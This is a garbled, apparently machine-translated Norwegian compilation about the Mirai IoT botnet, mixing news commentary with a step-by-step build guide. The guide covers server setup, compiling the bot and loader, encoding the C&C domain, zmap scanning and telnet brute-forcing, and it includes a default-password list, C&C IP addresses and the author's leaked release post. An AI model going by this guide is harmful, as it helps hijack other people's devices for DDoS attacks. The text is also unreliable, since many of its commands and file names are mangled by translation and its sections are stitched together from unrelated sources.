Mirai kildekode. Installasjon og konfigurasjon av Mirai-botnettet. Driftsprinsippet til Mirai

I kjernen fungerer Mirai enkelt: den skanner Internett på jakt etter IoT-enheter tilgjengelig via telnet som er sårbare for brute force og hacking. Skadevaren angriper først og fremst overvåkingskameraer, DVR-er og rutere, og fortsetter deretter å formere seg som en orm.

Fra DDoS-angrep utført av dette botnettet nylig og det største i Europa. Toppangrepskraft nådde 620 Gbit/s og mer enn 1 Tb/s. For å oppnå slike resultater brukte angriperne UDP, DNS og HTTP-oversvømmelse, samt GRE-pakker (Generic Routing Encapsulation), som eksperter anerkjente som svært uvanlige.

Konklusjonene til MalwareTech-spesialister er generelt sammenfallende med disse observasjonene. Så over en tolvtimers periode registrerte forskere rundt 72 000 unike IP-adresser, og 4000 nye IP-er dukket opp hver time. Fra dette konkluderte analytikere med at størrelsen på botnettet er svært beskjeden - bare rundt 120 000 enheter per dag. Og selv om botnettet er mye større og tallene er 1-1,5 millioner bots, er verken MalwareTech-forskere eller Akamai-spesialister enige i dette.

"Mirai, som tidligere i stor grad ble ignorert på grunn av enkelheten til telnet-angrep, ble et stort diskusjonstema i media over hele verden i forrige uke, med rettshåndhevelsesbyråer som startet etterforskning, med støtte fra mange internasjonale selskaper," skriver forskerne. . "Det er sannsynlig at kraftige DDoS-angrep nå vil bli mer vanlig praksis ettersom hackere finner flere og mer sårbare IoT-enheter eller begynner å infisere NAT-beskyttede enheter. Det er definitivt på tide at produsenter slutter å frigi enheter med globale passord som standard og bytter til å frigi enheter med tilfeldig genererte passord på bunnen av saken."

I tillegg til rapporten har MalwareTech-forskere inkludert en video som viser et kart over Mirai-infeksjoner (se nedenfor). Også på forskernes nettside kan du finne et interaktivt kart over botnettet, som oppdateres i sanntid.

Vi trenger to VPS KVM-servere og et domene. Virtualisering er KVM, OpenVZ mangler denne gangen.

Jeg tar serverne her -

Vi installerer selve botnettet på den ene serveren, og skanner bots på den andre. (brutal)

VIKTIG. Servere må være basert på Debian 8 og ha minst 1 GB RAM.

Ethvert domene, det spiller ingen rolle.

Beklager, selvfølgelig, men jeg vil ikke fortelle deg hvordan du knytter et domene til en VPS. Det er ikke vanskelig, du finner ut av det selv.

PuTTY og la oss begynne.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang elektrisk gjerdeskjerm sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

Når du installerer MySQL, må du opprette et passord for å få tilgang til MySQL for root-brukeren. Du vil komme opp med et normalt passord, uten noen "qwerty"

Skriv det ned et sted, vi trenger det igjen.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#bash< <(curl -s -S -L

Du må være registrert for å se lenker.

)

# gvm installer go1.4

# gvm bruk go1.4 [--standard]

# gvm install go1.4 -B

# gvm bruk go1.4

# eksport GOROOT_BOOTSTRAP=$GOROOT

# gvm installer go1.5

# gvm bruk go1.5

# gvm installer go1.8

# gvm bruk go1.8

Etter å ha installert alle verktøyene, last ned botkildene -

Du må være registrert for å se lenker.

Og last det opp til serveren. Team wget, eller ganske enkelt gjennom programmet WinSCP.

# pakk ut Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc-streng *******(vi skriver domenet vårt, som er knyttet til serveren) og trykk Enter.

Her vil du se følgende tekst -

XOR"ing av 14 byte med data ...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - her vil du ha et annet nummer, så ikke bekymre deg, alt er riktig.

Vi kopierer all denne teksten.

Åpne via nano editor, eller via WinSCP fil table.c som ligger i mappen mirai/bot

Må se dette -

Du må være registrert for å se lenker.

Linje add_entry(TABLE_CNC_DOMAIN- endre alt i anførselstegn til teksten du nettopp kopierte. I stedet for " 30 " Vi skriver nummeret vårt, som vi også nettopp kopierte. Vi gjør det samme med linjen add_entry(TABLE_SCAN_CB_DOMAIN

Lagre og lukk redigeringsprogrammet.

Åpne filen med en editor mirai/cnc/main.go

Vi ser dette -

Du må være registrert for å se lenker.

"127.0.0.1" endre til "127.0.0.1:3306"

"passord" Vi endrer passordet som vi skrev inn tidligere til MySQL. "

Lagre filen og lukk redigeringsprogrammet.

Bare kopier all denne dritten, jeg skal ikke fortelle deg hvorfor det er nødvendig -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

#wget

Du må være registrert for å se lenker.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv krysskompilator-armv4l armv4l

# mv cross-compiler-i586 i586

#mv krysskompilator-m68k m68k

# mv krysskompilator-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv krysskompilator-sh4 sh4

# mv cross-compiler-sparc sparc

# mv krysskompilator-armv6l armv6l

# eksport PATH=$PATH:/etc/xcompile/armv4l/bin

# eksport PATH=$PATH:/etc/xcompile/i586/bin

# eksport PATH=$PATH:/etc/xcompile/m68k/bin

# eksport PATH=$PATH:/etc/xcompile/mips/bin

# eksport PATH=$PATH:/etc/xcompile/mipsel/bin

# eksport PATH=$PATH:/etc/xcompile/powerpc/bin

# eksport PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# eksport PATH=$PATH:/etc/xcompile/sh4/bin

# eksport PATH=$PATH:/etc/xcompile/sparc/bin

# eksport PATH=$PATH:/etc/xcompile/armv6l/bin

# eksport PATH=$PATH:/usr/local/go/bin

# eksport GOPATH=$HOME/Documents/go

# gå til github.com/go-sql-driver/mysql

# hent github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh feilsøke telnet

# ./build.sh utgivelse telnet

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bins/

Nå MySQL.

# mysql -u rot -p

Her vil du bli bedt om et passord. Skriv inn passordet du tidligere har angitt.

# opprette database mirai;

# bruk mirai

Kopier nå all teksten herfra -

Du må være registrert for å se lenker.

Lim den inn og trykk Enter.

Kopier teksten herfra -

Du må være registrert for å se lenker.

I stedet for anna-senpai skriv innloggingen din. Noen. Samme med myawesomepassword. Vi trenger disse dataene for å få tilgang til botkontrollpanelet.

Det skal være slik - INSERT INTO Users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Kopier, lim inn, trykk Enter.

Nå kan du gå ut.

Det er nesten ferdig.

# cd Mirai-Source-Code-master/mirai/release

# touch prompt.txt

# skjerm ./cnc

Må se påskriften MySQL DB åpnet

Vi stenger ikke denne økten, vi åpner en ny.

Du må være registrert for å se lenker.

I stedet for *******, skriv domenet ditt og klikk Åpne.

Skriv inn brukernavn og passord, i mitt tilfelle er det -

zaebalsjapisatj

Det er det, vi er i botkontrollpanelet.

Nå trenger vi roboter. Alt er enkelt her, ingen installasjoner er nødvendig.

La oss konfigurere lasteren.

Loader er nødvendig slik at roboter kan legges til fra tekstfiler. La oss si at vi har laget en haug med enheter (rutere, kameraer, telefoner) og for å legge dem til boten trenger vi en laster.

Også loader er en "orm"

Koble til vår server via PuTTY og WinSCP.

Ved å bruke WinSCP finner vi filen main.c i mappen Mirai-kildekode-master/dlr

Vi skriver IP-en til serveren vår som på skjermbildet -

Du må være registrert for å se lenker.

Vi lar kommaene ligge, det er slik det skal være. Lagre og lukk.

Nå med PyTTY gå til serveren vår og skriv -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# cd-utgivelse

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

La oss nå åpne WinSCP og finn filen main.c i mappen Mirai-Source-Code-master/loader/src

Vi endrer den til vår IP som på skjermbildet -

Du må være registrert for å se lenker.

Lagre og lukk.

Gjennom PuTTY -

# ./build.sh

Ved bruk av WinSCPåpne filen scanListen.go som finnes i mappen Mirai-kildekode-master/mirai/verktøy

Endre til serverens IP -

Du må være registrert for å se lenker.

Så med PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# gå bygge scanListen.go

Nå har vi en ny fil - scanLytt(uten .gå, Bare scanLytt)

scanLytt må flyttes til en mappe Mirai-kildekode-master/laster

Bare med hjelp WinSCP legg det i en mappe laster

La oss nå sjekke om alt fungerer

# ./loader

Hvis du ser hva som er på skjermen, er alt riktig -

Du må være registrert for å se lenker.

Hvis det oppstår feil, skriv til emnet, jeg skal hjelpe.

For å laste ned bots fra listen, slipp tekstfilen i mappen laster og skriv kommandoen -

# katteliste.txt | ./laster

Det er det, alle robotene du har rekruttert vil være med deg, de vil krasje nettsteder etter din kommando.

Jeg personlig har ikke brukt denne metoden, jeg fant en enklere måte.

Her trenger vi en ekstra server. Også på Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap vi trenger den for portskanning. Driftsprinsippet er det samme som KPortScan, bare 50 ganger raskere.

Kopier all koden herfra -

Du må være registrert for å se lenker.

Og lagre som scan.py

Her kan du legge til passord og pålogginger -

Du må være registrert for å se lenker.

String kombinasjon ikke rør!

Her må du registrere IP-en til serveren som boten er plassert på -

Du må være registrert for å se lenker.

Vi endrer alt og lagrer det.

Vi slipper scan.py-filen hvor som helst på serveren vår. På den andre serveren, som kun er for skanning, den som vi ikke berører boten på.

Vi trenger IP-er som vi skal skanne.

#zmap -p22 -o list.txt -B 100M(du kan skanne andre porter, jeg har alltid skannet 22 eller 23)

Alle resultater vil være i filen list.txt

Etter å ha samlet inn IP-filen (jo mer jo bedre). list.txt kaste den ved siden av filen scan.py og skrive -

# python scan.py list.txt 500

Det er det, vi sitter og ser på hvordan botnettet vårt vokser.

Når det er minst 200 roboter, kan du starte loader.

For å gjøre dette, gå til serveren der botnettet er installert og -

# cd Mirai-kildekode-master/laster

# ulimit -n 9999999

# ./scanListen | ./laster

Nå vil roboten fungere som en "orm" og avslutte flere roboter.

Forrige uke lekket kildekoden for komponentene til Mirai-botnettet, brukt i rekordstore DDoS-angrep med en kapasitet på opptil 1 Tb/s, på nettet.

Kunst. 273 i den russiske føderasjonens straffelov. Oppretting, bruk og distribusjon av ondsinnede dataprogrammer

1. Oppretting, distribusjon eller bruk av dataprogrammer eller annen datainformasjon, bevisst ment for uautorisert ødeleggelse, blokkering, modifikasjon, kopiering av datainformasjon eller nøytralisering av databeskyttelsesmidler, -

skal straffes med frihetsbegrensning i en periode på inntil fire år, eller tvangsarbeid i en periode på inntil fire år, eller fengsel for samme tid med en bot på inntil to hundre tusen rubler eller i størrelsen av lønnen eller annen inntekt til den domfelte i en periode på inntil atten måneder.

2. Handlinger foreskrevet i del én av denne artikkelen, begått av en gruppe personer ved tidligere konspirasjon eller av en organisert gruppe eller av en person som bruker deres offisielle stilling, samt de som forårsaket stor skade eller ble begått av egoistisk interesse , -

skal straffes med frihetsbegrensning i en periode på inntil fire år, eller tvangsarbeid i en periode på inntil fem år med fratakelse av retten til å inneha visse stillinger eller drive visse aktiviteter i en periode på inntil tre år eller uten det, eller fengsel i en periode på inntil fem år med en bot på hundre tusen til to hundre tusen rubler eller i mengden lønn eller annen inntekt til den domfelte i en periode på to til tre år eller uten det og med eller uten fratakelse av retten til å inneha visse stillinger eller engasjere seg i visse aktiviteter i en periode på inntil tre år.

3. Handlinger fastsatt i del én eller to av denne artikkelen, dersom de medførte alvorlige konsekvenser eller skapte en trussel om at de inntreffer, -

straffes med fengsel i inntil syv år.

Dette botnettet består hovedsakelig av kameraer, DVR-enheter, etc.

Infeksjon skjer ganske enkelt: Internett skannes for åpne 80/23 (web/telnet) porter og hardkodede kontoer velges.

Få brukere endrer passordene til sine innebygde kontoer (hvis mulig), så botnettet fylles stadig på med nye enheter. Hvis du kan endre passordet for nettgrensesnittet mens du er i det, så unngår passordet og selve tilstedeværelsen av telnet-tilgang ganske enkelt mange brukere.

De mest brukte kontoene er:

aktivere:system
skall: sh
admin: admin
rot: xc3511
rot:vizxv
root:admin
root:xmhdipc
rot: 123456
rot: 888888
støtte: støtte
rot: 54321
rot: juantech
rot:anko
rot: 12345
admin:
root:standard
admin:passord
root:root
rot:
bruker:bruker
admin:smcadmin
root:pass
admin: admin1234
rot: 1111
gjest: 12345
rot: 1234
root:passord
rot: 666666
admin: 1111
tjeneste: tjeneste
rot:system
veileder:veileder
rot: klv1234
administrator: 1234
rot:ikwb
root:Zte521

Etter å ha fått tilgang, mottar kommandosenteret et binært varsel om tilstedeværelsen av en ny bot:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (vertsadressen var her)
05 = Tab
17 = 23 (Port 23 Telnet)
05 = Tab
61 64 6d 69 6e = brukernavn:admin admin
05= Tab
61 64 6d 69 6e = brukerpassord: admin

Botnet-komponentene er designet for å fungere i forskjellige miljøer, noe som fremgår av de identifiserte prøvene:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Kommandoservere er for tiden plassert på følgende adresser:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Instruksjonene for å lage et botnett er ganske enkle, her er som de er (kilde http://pastebin.com/E90i6yBB):

Hei alle sammen,

Da jeg først gikk i DDoS-bransjen, hadde jeg ikke tenkt å bli lenge i den. Jeg tjente pengene mine, det er mange øyne som ser på IOT nå, så det er på tide å GTFO. Men jeg kjenner hver skid og mammaen deres, det er deres våte drøm å ha noe annet enn qbot.

Så i dag har jeg en fantastisk utgivelse til deg. Med Mirai trekker jeg vanligvis maks 380k bots fra telnet alene. Etter Kreb DDoS holdt imidlertid Internett-leverandører sakte på å stenge ned og rydde opp. I dag er maks pull omtrent 300 000 roboter, og faller.

Så jeg er din senpai, og jeg vil behandle deg veldig hyggelig, min hf-chan.

Og til alle som trodde de gjorde noe ved å trykke på CNC-en min, jeg ler godt, denne boten bruker domene for CNC. Det tar 60 sekunder for alle roboter å koble til igjen, lol

Også, shoutout til dette blogginnlegget av malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Hadde mye respekt for deg, trodde du var en god reverser, men du mislyktes egentlig helt og totalt i å reversere denne binæren. «Vi har fortsatt bedre kung fu enn dere barn», ikke få meg til å le, du gjorde så mange feil og til og med forvekslet noen forskjellige binærfiler med mine. LOL

La meg gi deg noen smell tilbake...
1) port 48101 er ikke for tilbakekobling, den er for kontroll for å forhindre at flere forekomster av bot kjører sammen
2) /dev/watchdog og /dev/misc er ikke for å "gjøre forsinkelsen", det er for å forhindre at systemet henger. Denne er lavthengende frukt, så trist at du er ekstremt dum
3) Du mislyktes og trodde FAKE_CNC_ADDR og FAKE_CNC_PORT var ekte CNC, lol "Og gjør bakdøren for å koble til via HTTP på 65.222.202.53." du ble snublet av signalflyt ;) prøv hardere skiddo
4) Skjelettverktøyet ditt suger rumpa, det trodde angrepsdekoderen var "sinden stil", men den bruker ikke engang en tekstbasert protokoll? CNC og bot kommuniserer over binær protokoll
5) du sier "chroot("/") så forutsigbar som torlus, men du forstår ikke, noen andre dreper basert på cwd. Den viser hvor ute av løkken du er med ekte skadelig programvare. Gå tilbake til skidland

Hvorfor skriver du omvendt ingeniørverktøy? Du kan ikke engang reversere riktig i utgangspunktet. Lær deg noen ferdigheter først før du prøver å imponere andre. Din arroganse med å erklære hvordan du "slo meg" med din dumme kung-fu-uttalelse fikk meg til å le så hardt mens jeg spiste min SO måtte klappe meg på skulderen.

Akkurat som jeg for alltid vil være fri, vil du være dømt til middelmådighet for alltid.

Krav
2 servere: 1 for CNC + mysql, 1 for skannemottaker og 1+ for lasting

OP-krav
2 VPS og 4 servere
— 1 VPS med ekstremt skuddsikker vert for databaseserver
— 1 VPS, rootkitt, for scanReceiver og distributør
— 1 server for CNC (brukt som 2% CPU med 400k bots)
— 3x 10gbps NForce-servere for lasting (distributør distribuerer til 3 servere likt)

— For å etablere tilkobling til CNC, løser roboter et domene (resolv.c/resolv.h) og kobler til den IP-adressen
— Boter brute telnet ved hjelp av en avansert SYN-skanner som er rundt 80 ganger raskere enn den i qbot, og bruker nesten 20 ganger mindre ressurser. Når du finner et brutalt resultat, løser boten et annet domene og rapporterer det. Dette er lenket til en separat server for automatisk å laste inn på enheter etter hvert som resultatene kommer inn.
— Bruted-resultater sendes som standard på port 48101. Verktøyet kalt scanListen.go i verktøy brukes til å motta brutte-resultater (jeg fikk rundt 500 bruted-resultater per sekund på topp). Hvis du bygger i feilsøkingsmodus, bør du se verktøyet scanListen binær vises i feilsøkingsmappen.

Mirai bruker en spredningsmekanisme som ligner på selvrep, men det jeg kaller "sanntidsbelastning". I utgangspunktet, bots brute resultater, send det til en server som lytter med scanListen-verktøyet, som sender resultatene til lasteren. Denne løkken (brute -> scanListen -> load -> brute) er kjent som sanntidslasting.

Lasteren kan konfigureres til å bruke flere IP-adresser for å omgå portutmattelse i linux (det er begrenset antall porter tilgjengelig, noe som betyr at det ikke er nok variasjon i tuppel til å få mer enn 65 000 samtidige utgående tilkoblinger - i teorien er dette verdipartiet mindre). Jeg ville ha kanskje 60k - 70k samtidige utgående tilkoblinger (samtidig lasting) spredt utover 5 IP-er.
Bot har flere konfigurasjonsalternativer som er skjult i (table.c/table.h). I ./mirai/bot/table.h du kan finne de fleste beskrivelsene for konfigurasjonsalternativer. Men i ./mirai/bot/table.c er det noen få alternativer du *må* endre for å komme i gang.

— TABLE_CNC_DOMAIN — Domenenavn på CNC å koble til — DDoS-unngåelse veldig gøy med mirai, folk prøver å treffe CNC-en min, men jeg oppdaterer den raskere enn de kan finne nye IP-er, lol. Retarder :)
— TABLE_CNC_PORT — Port å koble til, den er allerede satt til 23
— TABLE_SCAN_CB_DOMAIN — Når du finner brute resultater, rapporteres dette domenet til
— TABLE_SCAN_CB_PORT — Port å koble til for brutte resultater, den er allerede satt til 48101.

I ./mirai/tools finner du noe som heter enc.c — Du må kompilere dette for å skrive ut ting som skal legges inn i table.c-filen

Kjør inne i denne mirai-katalogen

./build.sh feilsøke telnet

Du vil få noen feil relatert til at krysskompilatorer ikke er der hvis du ikke har konfigurert dem. Dette er ok, vil ikke påvirke kompileringen av enc-verktøyet

Nå, i ./mirai/debug-mappen bør du se en kompilert binær kalt enc. For eksempel, for å få obfuskert streng for domenenavn for roboter å koble til, bruk denne:

./debug/enc string fuck.the.police.com
Utgangen skal se slik ut

XOR bruker 20 byte med data...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
For å oppdatere TABLE_CNC_DOMAIN-verdien for eksempel, bytt ut den lange sekskantstrengen med den som leveres av enc-verktøyet. Du ser også "XOR'ing 20 bytes of data". Denne verdien må også erstatte det siste argumentet. Så for eksempel ser table.c-linjen opprinnelig slik ut
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Nå som vi kjenner verdien fra enc tool, oppdaterer vi det slik

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22); //fuck.the.police.com
Noen verdier er strenger, noen er port (uint16 i nettverksrekkefølge / big endian).
KONFIGURER CNC-en:
apt-get install mysql-server mysql-client

CNC krever database for å fungere. Når du installerer databasen, gå inn i den og kjør følgende kommandoer:
http://pastebin.com/86d0iL9g

Dette vil opprette en database for deg. For å legge til brukeren din,

INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Gå nå inn i filen ./mirai/cnc/main.go

Rediger disse verdiene
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "passord"
const DatabaseTable string = "mirai"
Til informasjonen for mysql server du nettopp installerte

Krysskompilatorer er enkle, følg instruksjonene på denne lenken for å sette opp. Du må starte systemet på nytt eller laste .bashrc-filen på nytt for at disse endringene skal tre i kraft.

http://pastebin.com/1rRCc3aD
CNC, bot og relaterte verktøy:
http://dopefile.pk/a9f2n9ewk8om
Hvordan bygge bot + CNC
I mirai-mappen er det build.sh-skript.
./build.sh feilsøke telnet

Vil gi ut feilsøkingsbinærfiler for bot som ikke vil demonisere og skrive ut informasjon om om den kan kobles til CNC osv., status for flom osv. Kompilerer til ./mirai/debug-mappen
./build.sh utgivelse telnet

Vil produsere produksjonsklare binærfiler av bot som er ekstremt strippet, små (ca. 60K) som skal lastes inn på enheter. Kompilerer alle binærfiler i formatet: "mirai.$ARCH" til ./mirai/release-mappen

Loader leser telnet-oppføringer fra STDIN i følgende format:
ip:port bruker:pass
Den oppdager om det er wget eller tftp, og prøver å laste ned binæren ved å bruke den. Hvis ikke, vil den ekkolaste en liten binær (ca. 1kb) som vil være tilstrekkelig som wget.
./build.sh

Vil bygge lasteren, optimalisert, produksjonsbruk, ingen oppstyr. Hvis du har en fil i formater som brukes for lasting, kan du gjøre dette
cat file.txt | ./laster
Husk å begrense!

Bare så det er klart, jeg gir ikke noen form for 1-til-1-hjelpeveiledninger eller dritt, for mye tid. Alle skript og alt er inkludert for å sette opp fungerende botnett på under 1 time. Jeg er villig til å hjelpe hvis du har individuelle spørsmål (hvordan kan CNC ikke koble til databasen, jeg gjorde dette bla bla), men ikke spørsmål som "Boten min kobler ikke til, fiks det"

Dette er trojaneren som alle har skrevet om de siste ukene. Blant de mest imponerende prestasjonene til botnett opprettet med hjelpen er en kapasitet på mer enn en terabit og i et lite afrikansk land.

Hvor mange datamaskiner gjorde han slave for dette?

Ikke i det hele tatt. Eller i det minste veldig lite. Mirai sine målenheter er ikke datamaskiner i det hele tatt, men IoT-enheter – videoopptakere, kameraer, brødristere... I følge statistikk fra Level 3 Communications var rundt en halv million enheter allerede under kontroll av trojaneren innen utgangen av oktober.

Og hva, han kan ta tak i alle kameraer med kjøleskap?

Ikke egentlig. Mirai er skreddersydd for enheter som kjører Busybox - et forenklet sett med UNIX-verktøy kommandolinje, som brukes som hovedgrensesnitt i embedded operativsystemer. Trojaneren angriper bare visse plattformer, som ARM, ARM7, MIPS, PPC, SH4, SPARC og x86. Bare enheter med fabrikkinnstillinger eller svært svak beskyttelse er i faresonen - infeksjon skjer ved bruk av et brute force-angrep på Telnet-porten, som standardlisten over administratorlegitimasjon brukes for.

Det er på en eller annen måte ineffektivt å søke på hele Internett etter kameraer uten passord – er det ikke?

Men de gjettet ikke riktig. En journalist fra The Atlantic leide en server og skrev et program som utgir seg for å være en brødrister. Det første angrepet på et "husholdningsapparat" skjedde etter 40 minutter! I løpet av de neste 11 timene ble brødristeren hacket mer enn 300 ganger. Faktum er at botnett har nådd enestående størrelser, og IPv4-adresseplassen for dem er veldig liten. Dessuten er det verdt å huske at hackere ikke søker etter sårbare enheter manuelt - dette gjøres av medlemmer av botnettet. Og siden hver nylig konverterte "ansatt" også begynner å lete etter ofre, vokser botnettet eksponentielt.

Geometrisk? Så om et år vil botnett inneholde billioner av enheter?!

Selvfølgelig ikke 😀 Faktum er at antallet IoT-enheter er begrenset. Og dette er allerede et ganske presserende problem. Forfatteren av Mirai innrømmer at det maksimale antallet enheter på nettverket hans var 380 tusen, og etter flere angrep, da brukere og leverandører begynte å ta beskyttelsestiltak, falt antallet enheter til 300 tusen og fortsetter å synke.

Etter at kildekoden til Mirai ble gjort offentlig tilgjengelig, begynte mange og mange hackere å bruke den. For øyeblikket er antallet store botnett basert på denne trojaneren omtrent 52. Det er verdt å presisere at hver enhet kan tilhøre bare ett nettverk - umiddelbart etter å ha fanget en enhet, beskytter skadelig programvare den mot re-infeksjon. Det eneste tilfellet når en enhet kan overføres til en annen "eier" er når enheten startes på nytt. Ifølge eksperter vil enheten etter en omstart bli infisert igjen innen 30 sekunder.

Så effektiviteten til Mirai synker?

Ja. Hackere blir tvunget til å kjempe for en begrenset mengde ressurser, som avtar (på grunn av forholdsregler) i stedet for å vokse. Situasjonen kompliseres ytterligere av det faktum at hackere er ekstremt egoistiske – for eksempel etter at en større kommando- og kontrollserver (C&C) til botnettet ganske enkelt ble slått av – nå viste det seg at botnettet var ubrukelig og usårbart for nye angrep. Hver nytt nettverk basert på Mirai vil være mindre enn de forrige og vil kun kunne utføre laveffektangrep. Under det amerikanske valget ble det for eksempel utført svake angrep på nettsidene til Clinton og Trump. De forårsaket ingen skade, og ingen la merke til dem i det hele tatt (bortsett fra selskapet som spesifikt overvåker handlingene til denne trojaneren).

Det er klart. Hvilken annen interessant informasjon er kjent om denne trojaneren?

Det er etterfølgeren til en annen trojaner, som er kjent under navnene Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor og Torlus. Sistnevnte er kjent for å kunne underkaste seg rundt en million webkameraer, ifølge den samme nivå 3-kommunikasjonen. Det er også kjent at de fleste botnett ikke bruker en ren kopi av Mirai, men egne, modifiserte versjoner (noe som er ganske forventet).

En annen interessant fakta er at RuNet-brukere fant i kildekode Mirai russisk spor - i filen cnc/admin.go er det en utgang av kommentarer på russisk:

cnc/admin.go: this.conn.Write(byte(“\033))

På den annen side ser det mer ut som en spøk - "sjekke regnskapet..." er en åpenbar kopi (maskinoversettelse?) av "kontrollere regnskap".

Forrige måned var det angrep på store nettsteder som Twitter eller Spotify, som midlertidig deaktiverte dem. Et botnett ble brukt til dette Mirai, som forener 400-500 tusen Internet of Things-enheter. Nå har hovedkortjournalister fått vite at to hackere klarte å ta kontroll over botnettet og lage en ny versjon av det – det forener allerede en million enheter. Abonnenter av den tyske leverandøren har erfart kraften Deutsche Telekom, hvis nettverk var nede forrige helg.

På jakt etter Mirai

Journalister klarte å snakke med en av disse to mystiske hackerne – han bruker kallenavnet BestBuy. I en kryptert nettprat fortalte han dem at det var en reell kamp blant hackere om kontroll over Mirai. En sårbarhet ble nylig oppdaget i programvaren. Bruken, kombinert med hastigheten, kan tillate BestBuy og partneren Popopret å ta kontroll over det meste av botnettet og legge til nye enheter til det.

Tidligere studerte ekspertene våre koden til Mirai-botnettet - det viste seg at det ikke ble laget spesielt for Internet of Things-enheter. Ondsinnet programvare søker etter enheter koblet til nettverket med standard pålogginger og passord (admin:admin, root:passord, etc.). Dette betyr at den teoretisk sett kan inkludere alle enheter, inkludert hjemmedatamaskiner og servere eller rutere.

IoT-enheter- vanligvis rutere - inkludert i Mirai botnett til den starter på nytt - da blir ormen slettet fra minnet deres. Botnettet skanner imidlertid hele tiden Internett for sårbare enheter, slik at en "kurert" enhet raskt kan bli en del av den igjen. Det er et skikkelig kappløp blant hackere om å være de første til å infisere så mange enheter som mulig.

Det er ingen informasjon om hvordan skaperne av den nye Mirai klarer å overta konkurrentene. Imidlertid fortalte de journalister at de bruker sitt eget botnett for å skanne potensielt sårbare enheter, inkludert de som tidligere var en del av botnettet.

"Hvorfor ikke la Mirai jakte på Mirai og sluke originalen," sier BestBuy.

Ikke bare Mirai

Det nye botnettet absorberte imidlertid ikke bare gamle Mirai-enheter og nye med standardpassord. Skaperne bruker også 0-dagers sårbarheter i fastvaren til IoT-enheter. Eksperter har tidligere spådd den nært forestående fremveksten av slike "kombinerte" botnett.

Kampen mot dem blir merkbart mer komplisert - hvis brukeren av sluttenheten bare trenger å endre pålogging og passord for å få tilgang til det for å motvirke Mirai, vil han ikke være i stand til å takle sårbarhetene til gadgeten på egen hånd .

DDoS ved 700 Gbps

Hackerne BestBuy og Popopret har begynt å annonsere for sine tjenester - de tilbyr tilgang til deres ny verson Mirai, sender spammeldinger via XMPP/Jabber,

Ifølge hackeren tilbyr de kundene flere pakker med tjenester. Billigere er verdt det $2 000 - for disse pengene kan klienter leie fra 20 000 til 25 000 botnet-noder for å starte vaktposter i opptil to uker, med en pause på femten minutter mellom angrepene. Bak $15 000 eller $20 000 kunder har nå muligheten til å få 600 000 bots til å starte to-timers angrep med 30 eller 15-minutters pauser. I det andre tilfellet vil angrepskraften være 700 Gbit/s eller mer.

Utsikter

Sikkerhet IoT-enheter er ofte på et ganske lavt nivå - dette forklares med det faktum at leverandører ofte ikke er interessert i å implementere ytterligere tiltak informasjonssikkerhet. De annonserer brukervennligheten til produktene deres, men alle ekstra sikkerhetstiltak pålegger begrensninger og krever ressurser.

Som nevnt ovenfor er det bare utviklere eller leverandører av sluttenheter som leverer dem (i tilfelle av rutere) som kan beskytte brukere mot mer avanserte botnett. Den tyske leverandøren Deutsche Telekom, berørt av angrepet av den nye versjonen av Mirai, har allerede annonsert at de vil "revurdere forretningsforbindelser" med leverandører av sårbare rutere Speedport, selskap Arcadyan.

